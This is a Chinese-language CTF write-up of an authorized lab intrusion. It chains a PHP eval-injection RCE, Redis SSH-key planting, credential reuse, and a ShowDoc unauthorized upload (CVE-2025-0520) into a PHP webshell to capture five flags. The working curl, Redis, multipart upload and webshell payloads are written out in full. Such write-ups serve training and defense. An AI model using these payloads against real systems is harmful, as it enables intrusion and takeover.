目标:
http://47.117.0.114/(用户重置场景后的新入口) 时间:2026-10-24 16:26 -- 16:30(Asia/Shanghai) 结果:5/5 Flag 全部拿到,测试痕迹已清理 性质:授权靶场 / CTF 训练环境
0. 摘要
本题是典型的多层内网 HVV 场景:入口 Web 存在 eval 注入 RCE,内网一台 Redis 以弱口令 + root 权限运行可直接写 SSH 公钥,第二台机器文档里硬编码了入口机器的 root 口令;最后一台是 ShowDoc v2.6.7,可用未授权文件上传(CVE-2025-0520)拿 webshell,其 SQLite 数据库页面里又写着本机 root 口令。整条链 5 个 flag,约 4 分钟完成(含截图与清理)。
| Flag | 值 | 位置 |
|---|---|---|
| FLAG1 | flag{03aa5c76a9061aca7356f428dadca851} |
入口容器 192.168.0.100:/flag |
| FLAG2 | flag{4f9b5dcfed3793ff01464427d94f15e7} |
跳板 192.168.0.202:/root/flag |
| FLAG3 | flag{3e4394da3233fd39d8943879300534b2} |
入口容器 /root/flag |
| FLAG4 | flag{1fb333f951f4c5753f59ca68510254ea} |
ShowDoc 172.16.0.153:/flag |
| FLAG5 | flag{c4c89c9961b3802ab9c3b637d16ccd60} |
ShowDoc 172.16.0.153:/root/flag |
1. 环境与拓扑
- 入口:
47.117.0.114:80(Apache/2.4.54 + PHP/7.4.33),47.117.0.114:22000映射到容器 sshd - 入口容器:
192.168.0.100(/flag=FLAG1、/root/flag=FLAG3) - 跳板:
192.168.0.202(6379Redis 6.0.16、22000SSH;双网卡192.168.0.202+172.16.0.233) - 后段:
172.16.0.153(80ShowDoc v2.6.7、22000SSH;/flag=FLAG4、/root/flag=FLAG5) - 平台宿主:
192.168.0.254(22/80/2376/22000),按规则仅侦察、未攻击


交互式拓扑图(HTML 版)随报告一同交付,此处内联静态截图。
2. 入口 Web:ajax.php eval 注入 → RCE(FLAG1)
/ajax.php 源码核心:
php
function do_request($action){ eval($action.'();'); }
if(isset($_POST['action']) && $_POST['action']!=''){ do_request($_POST['action']); }
$action 被拼进 eval(),且入口无任何鉴权。直接 POST:
bash
curl -s -X POST --data-urlencode "action=system('id');//" http://47.117.0.114/ajax.php
若命令里带引号/管道容易被解析打断,可改为双层编码(本 writeup 采用):
text
action = eval(base64_decode('<base64(php code)>'));//
php = system(base64_decode('<base64(shell cmd)>'));
命令回显 uid=33(www-data),读取 /flag:
text
flag{03aa5c76a9061aca7356f428dadca851}
备注:源码里硬编码了
admin / Password_You_NeVeR-Know_hahah_^_^,但登录只返回uid=0,无实际面板,属诱饵,未作为攻击路径。
3. 内网侦察:定位 Redis 跳板(FLAG2)
入口容器网卡:192.168.0.100/24,网关 192.168.0.254;容器内没有 nmap/nc/python,但有 bash、gcc、perl、php、ssh。
用 bash /dev/tcp 扫描器扫 192.168.0.0/24 的关键端口(22/80/6379/22000 等),直连验证已知网段命中:
text
OPEN 192.168.0.202:6379
OPEN 192.168.0.202:22000
OPEN 192.168.0.254:22/80/22000 # 平台宿主,未攻击
生成密钥并用 Perl 手写 RESP 完成 Redis 写公钥(目标无 redis-cli):
perl
AUTH 123456
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET pwn "\n\n<ssh-rsa AAAA...>\n\n"
SAVE
返回全部 +OK,随后:
bash
ssh -i /tmp/k -p 22000 root@192.168.0.202 'id; cat /root/flag'
# uid=0(root)
# flag{4f9b5dcfed3793ff01464427d94f15e7}
4. 凭据复用:入口容器 root(FLAG3)
192.168.0.202:/root/Note.md 的"日常笔记"一节写着:
text
echo "Dev@Bug_C00l123" | passwd --stdin root
该口令即入口容器 root 口令,公网 22000 直接登录:
bash
ssh -p 22000 root@47.117.0.114
cat /root/flag
# flag{3e4394da3233fd39d8943879300534b2}
5. ShowDoc 未授权上传 → webshell(FLAG4)
从入口容器经 .202 建 SSH 本地转发(入口容器无法直达 172.16 网段):
bash
ssh -i /tmp/k -N -L 127.0.0.1:18080:172.16.0.153:80 -p 22000 root@192.168.0.202 &
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18080/ # 302
ShowDoc v2.6.7(composer.json 版本),Home/PageController::uploadImg 未鉴权;代码设置 allowExts 但 TP3.2 实际用 exts,白名单失效;且只拦文件名中的 .php 字面量。构造 multipart:
text
POST /index.php?s=/home/page/uploadImg
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php @eval($_GET["c"]); ?>
------X--
响应:
json
{"url":"http://127.0.0.1:18080/Public/Uploads/2026-10-24/6adc6c4c287ab.php","success":1}
执行 c=system('cat /flag'); 得到:
text
flag{1fb333f951f4c5753f59ca68510254ea}
排坑:webshell 的
eval语句必须以;结尾,否则报unexpected end of file。
6. SQLite 取证 → root 口令(FLAG5)
ShowDoc 数据库 Sqlite/showdoc.db.php 本质是 raw SQLite,直接请求会被 PHP 解析报错,先复制成非 .php 再取回:
bash
cp /var/www/html/Sqlite/showdoc.db.php /var/www/html/Public/Uploads/2026-10-24/showdoc.db.txt
# 本地经隧道下载后分析(md5 9584e6d4a8231faac57281a0e3de8fd1,258048 字节)
页面 page_id=22「服务器维护」内容:
text
## 服务器信息
IP: 127.0.0.1
echo 'root:Test@1234.' | chpasswd //测试
用该口令经 .202 跳板登录 172.16.0.153:22000:
bash
ssh -p 22000 root@172.16.0.153 'cat /root/flag'
# flag{c4c89c9961b3802ab9c3b637d16ccd60}
7. Flag 汇总
| Flag | 值 | 获取点 |
|---|---|---|
| FLAG1 | flag{03aa5c76a9061aca7356f428dadca851} |
入口容器 /flag(eval RCE,www-data) |
| FLAG2 | flag{4f9b5dcfed3793ff01464427d94f15e7} |
.202 /root/flag(Redis 写公钥) |
| FLAG3 | flag{3e4394da3233fd39d8943879300534b2} |
入口容器 /root/flag(Note.md 口令复用) |
| FLAG4 | flag{1fb333f951f4c5753f59ca68510254ea} |
ShowDoc /flag(CVE-2025-0520) |
| FLAG5 | flag{c4c89c9961b3802ab9c3b637d16ccd60} |
ShowDoc /root/flag(SQLite 口令) |


8. 清理与复现说明
.153:删除上传的 webshell 与showdoc.db.txt,目录核验为空.100:删除 webroot 下的sd.db、/tmp全部脚本、终止隧道进程;webroot 恢复原始 3 文件.202:删除写入的/root/.ssh/authorized_keys- 脚本与证据:
tools/(rce.ps1、pwn_redis.pl、tun.sh、sd_pwn.sh、wsh.sh、ssh153.sh、clean153.sh)、evidence/showdoc.db


9. 图形附件(Archify)
| 图 | 章节 | 说明 |
|---|---|---|
| 攻击面拓扑 | §1 | 入口 Web、Redis/SSH 跳板、ShowDoc 后段与平台宿主,5 条利用路径 |
| 攻击时序 | §7 | 从 eval 注入到 root 的 12 步消息时序 |
| 实战时间线 | §8 | 16:26--16:30 的侦察 / 横向 / 收割 / 清理 |
三张交互图均为独立 HTML,本文在各章节内联静态截图,便于离线阅读。